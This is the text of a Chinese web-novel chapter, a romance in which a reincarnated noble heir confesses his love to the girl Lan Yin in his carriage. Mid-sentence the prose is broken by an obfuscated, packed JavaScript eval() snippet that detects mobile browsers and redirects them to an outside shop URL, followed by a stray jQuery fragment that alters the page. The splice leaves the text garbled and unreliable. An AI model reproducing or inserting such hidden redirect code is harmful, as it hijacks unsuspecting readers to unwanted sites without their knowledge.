他抬眸看去,那辆如仙宫楼宇般的马车,不是殷家的,又是谁的?
看来,这殷世子当真对他这次女难以割舍,想到此处,他连忙道:“劳烦您跑一趟,我这就让她去,别让世子久等。”
兰家的马车已经有些寒酸,更别提还能隔音保暖,兰正成与那人的对话自然被里面的人听得一清二楚。
在兰烟怨毒的目光,与兰正成殷切的视线下,兰茵下了马车,被引着上了殷水玉的马车。
香风缥缈,玛瑙玉风铃叮当,四匹汗血宝马皆身披锦绣,踩上马车的那一瞬,触感温润。
兰茵垂眸一看,原是价值千金的波斯地毯。旁的世家大族用来铺在房中的,但在殷家,也只配当做马车上蹭灰的物什。
入了车厢之内,竟不觉压抑逼耸,开阔舒适,马车行驶平稳,如在房中一般。
软榻上,坐着一仙姿迭貌的少年,面容清透昳丽,眼睛的颜色尤为特别,居然是灰色的,极为罕见。
兰茵一时多看了片刻,便听得对方说:
“今日在殿上可有吓到你?”
少年语气温和,音色如山间清泉,带着股熟稔。
“不曾。”她应了声,在车门处坐下。
那少年的眼神便随着她的动作,虽过于直白,却不令人感到冒犯。
等她坐好,殷水玉将她的神色尽数收入眼中。
心中越发确定,这便是另一个世界的贵女。
在这里,她只是换了个名字,换了个家世,但她习惯性的动作,语气,乃至喜爱的衣裳颜色、款式、发髻,都分毫不差。
同样地,她的头上戴着那支海棠发簪,与贵女赠他的,一模一样。
她不记得他,不过没关系。
他会用尽手段博得她的喜爱,就如前世那般。
他想为她挽发,为她描妆,想时时刻刻与她黏在一起,不再分开。
心中这样想着,他的身体便随着心,不由自主地坐到了她的身旁。
熟悉的馨香传入鼻间,唤起他埋藏的记忆。
“今日你说你有婚约,你与他......可是彼此心悦?”
本来因为殷水玉的突然靠近,兰茵便有些不习惯,但她能感受到他并无恶意。
从未与男子有过这般近距离的接触,一时间,她眼睫颤了颤,避开他的视线才回:
“并非彼此心悦,不过父母之命罢了。”
“当真?”他在她身边紧紧追问,言语中的惊喜和喜悦不言而喻。
“嗯。”
这个字落下,殷水玉便笑起来,眼眸弯弯,眸下漂亮的卧蚕让他显出几分柔弱可欺的旖旎姿态。
他看着她,像之前一般,热切而满含爱恋,但忽而想到面前的人还与他不甚相熟,便只好收敛一些。
可在兰茵的视角,美如透玉的少年黑发雪肤,身量高挑瘦削,坐在她身边时,他微微向她倾身,仿佛要将她揽入怀中。
望着她的视线也灼热得让她难以逼视,她的心跳得厉害了些,连带着面上也染上绯红。
世人皆爱美好的人,她也不例外,尽管她平日较同龄人沉稳些,但到底也才十六七岁,面对如此直晃晃的撩拨,她险些快要受不住。
于是,她低声道,“世子,你可否坐远一些......”
被委婉拒绝的殷水玉怔住了,虽有所预料,但他果然还是无法接受这个事实。
他失落无比地看着她,竭力控制着此起彼伏的情绪,才没有当场哭出来。
只是那眼尾的红,落在他的肌肤上,却显眼无比。
他眼巴巴望着她,“可以不要唤我世子吗?”
“啊,那唤什么?”
她似乎很是意外,触及到他这幅惹人垂怜的模样,挪开眼不敢再看。
怎么会这般勾人呢。
照常来说,这位殷世子含着金汤匙出生,骨子里该是高傲的,怎么会对她做出这幅神情。
她有个不可思议的猜测——
他,不会在故意引诱她吧。
“阿玉。唤我阿玉。”
好亲近的称呼。
但她居然在他这样的神情下,顺着他喊出来了,“......阿玉。”
他的瞳孔狠狠颤了颤,随即缓缓在她眼前绽开一个绮丽至极的笑意。
他半倾着身,越发靠近她,使得她的躯体不由得紧紧贴在马车车壁之上。两人离得太近,近得她能听到他急促而颤抖的呼吸声,以及那被刻意压制的喘.息。
好开心,好幸福。
被她这样一唤,他就忍不住浑身战栗。
积攒的爱意太多、太久,驱使着他在她慌乱而羞赧的时候,牵住了她的手,然后与她十指相扣。
兰茵呆住了,彻彻底底呆住了。
面前的人好似特别迷恋她,情不自禁地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558074|203452||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想与她亲近,虽然很冒犯,但她竟也不觉得排斥。
就好像很久很久之前,他也这样对过她。
在她无措的目光中,他绯红着脸,唇瓣如玛瑙嫣红润泽,对她说:
“我很喜爱很喜爱你,既然你也不喜爱你的未婚夫,你与他退婚,嫁与我可好?”
“我知你父亲与嫡母待你不好,长姐也时常刁难你,这些你都不需要担心。”
“你想要什么,我都给你,我也是你的。”
“只是你的,好吗?”
语罢,他虔诚地捧起她的手,将自己的脸贴在她掌心,目光如水,晶莹缱绻。
被刻意敞开的领口,让她不费吹灰之力就可以窥见那里面的荡漾春色。
起伏紧实的胸膛,块垒分明的腹部,曲线流畅有力的劲腰,兰茵只感觉一股气血上涌,紧接着,鼻间一股热流涌出。
没错,如她所料,她没出息地流鼻血了。
她虽然有些小心机,但她骨子里还是个老实人,哪能受得住这种诱惑。
这荒唐又真实的一幕,使得兰茵脑子一片空白。
旁人面前高不可攀的殷世子,在她面前摇尾乞怜,奢求她的怜爱。
这份冲击和刺激让她呼吸一滞,结结巴巴道:“你这......这太突然了吧。”
殷水玉心疼不已地拿锦帕擦去她的鼻血,语气认真无比,那一份落寞被他恰到好处地既让她听出来,又不会过于明显。
“若是觉得太突然,我可以等,等你想好了再告知我。”
“只要......只要你记得我一直在等你。”
兰茵刚止住鼻血,又见他用那种“对我做什么都可以,但求怜惜”的目光看她,她红着脸,整个人烫得快要蒸发了。
“你总得让我、让我好好考虑一下,我们才认识,而且,我父亲也不知道。”
这句话在殷水玉听来,她已经变相答应了,滔天的喜悦砸得他晕头转向,他只感觉整个人轻飘飘的,呼吸急促得令他几近晕厥。
他说:
“没关系,我会一直、一直等你,一个月,一年,十年,我都等你。”
兜兜转转,他还是与贵女重逢了。
他看似有了家世和权势,但唯有他自己清楚,贵女才是他的所有,是他两世都眷恋不已的神明。
神女降世,才让他这肮脏、破碎的心,有了真正的归处。